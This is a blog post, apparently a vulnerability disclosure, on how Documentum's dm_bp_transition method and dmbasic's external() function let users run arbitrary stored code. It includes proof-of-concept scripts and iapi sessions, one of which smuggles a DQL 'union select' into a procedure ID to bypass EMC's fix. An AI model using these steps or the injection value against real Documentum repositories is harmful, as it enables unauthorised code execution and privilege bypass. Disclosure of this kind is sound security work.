What makes api/dmbasic suck

A year ago I discovered a design gap in Documentum lifecyles: though it is required to user have some permissions for both document and dm_policy objects to be able to promote document or attach lifecycle to document:

all lifecycle stuff narrows down to executing either dm_bp_transition or dm_bp_transition_java docbase method, so any user is able to change lifecycle state of any document by executing docbase method directly. Actually, the problem is more serious because dm_bp_transition docbase method is insecure by design – it accepts identifiers of “external” procedures and executes anything that is written there:

'------------------------------------------------------------
Sub BP_Transition(_

...

    userEntryID$,_
    actionID$,_
    userActionID$,_

...

  'Evaluate the user-defined entry criteria
  If (result = True And run_entry = "T") Then
    If (debug = True) Then
      PrintToLog sess, "Run user defined entry criteria."
    End If
    result = RunProcedure(userEntryID, 1, sess, sysID,_
                          user_name, targetState)
  End If

...

  If (procID <> "0000000000000000") Then
    result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg)
    result = external(procID)
    If (result = True) Then
      If (procNo = 1) Then
        ' --- Running user-defined entry criteria ---
        result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg)
        On Error Goto NoFunction
        result = EntryCriteria(sessID, objID, userName,_
                               targetState, errorStack)

...

A clear example:

 ~]$ cat external.ebs
Function EntryCriteria() as Boolean
   print "Hello, world!"
   EntryCriteria = True
End Function
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  result = EntryCriteria()
End Sub

 ~]$ iapi ssc_dev -Udmadmin -Pdmadmin
Session id is s0
API> create,c,dm_procedure
...
0801ffd7804368e6
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> exit
Bye

 ~]$ dmbasic -f test.ebs -eTest -- 0801ffd7804368e6
Hello, world!
 ~]$ 

I think it’s obvious that correct security fix must do following:

  • Restrict access to dm_bp_transition and dm_bp_transition_java methods
  • Check input parameters of dm_bp_transition method (identifiers of procedures to execute are stored in dm_policy object)

Unfortunately, this is not obvious for EMC (or too hard to implement basic checks using dmbasic) – they decided that the root cause of security vulnerability is a fact that any user is able to create dm_procedure objects (yeah, every man is a potential rapist – let’s cut off penises), and now we have:

API> create,c,dm_procedure
...
0801ffd780436937
API> save,c,l
...
[DM_USER_E_NEED_SU_OR_SYS_PRIV]error:  
  "The current user (test02) needs to have superuser or sysadmin privilege."

Unfortunately external() function in dmbasic accepts not only dm_procedure objects but any dm_sysobject:

API> create,c,dm_document
...
0901ffd780436944
API> setfile,c,l,external.ebs,crtext
...
OK
API> save,c,l
...
OK
API> Bye
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
Hello, world!

What did EMC for that? They decided that it is a good idea to load only dm_procedure objects in external() dmbasic’s function:

~]$ strings dmbasic | grep dm_procedure
id,%s,dm_procedure where object_name = '%s' and folder('%s')
id,%s,dm_procedure where r_object_id = '%s'
 ~]$ cat test.ebs
Sub Test(procedureId$)
  Dim result as Boolean
  sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin")
  result = external(procedureId$)
  print dmAPIGet("getmessage,c")
  result = EntryCriteria()
End Sub
 ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944
[DM_API_W_NO_MATCH]warning:  "There was no match in the docbase for the qualification: 
   dm_procedure where r_object_id = '0901ffd780436944'"

dmbasic: Error 35 in line 6: Sub or Function not defined
 ~]$

Does it look good? Actually, no. I have no idea who invented so ridiculous way to call Documentum RPCs through dmAPIGet/dmAPIExec commands, but concatenating command and arguments into single string and then parsing that string is a bad idea, take a look at API magic:

Session id is s0
API> id,c,dm_procedure where r_object_id='0901ffd780436944,' 
   union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944'
...
0901ffd780436944
API> fetch,c,0901ffd780436944,' union select r_object_id 
   from dm_sysobject where r_object_id='0901ffd780436944
...
OK

Now:

 ~]$ dmbasic -f test.ebs -eTest -- "0901ffd780436944,' union \
> select r_object_id from dm_sysobject where r_object_id='0901ffd780436944"

Hello, world!
 ~]$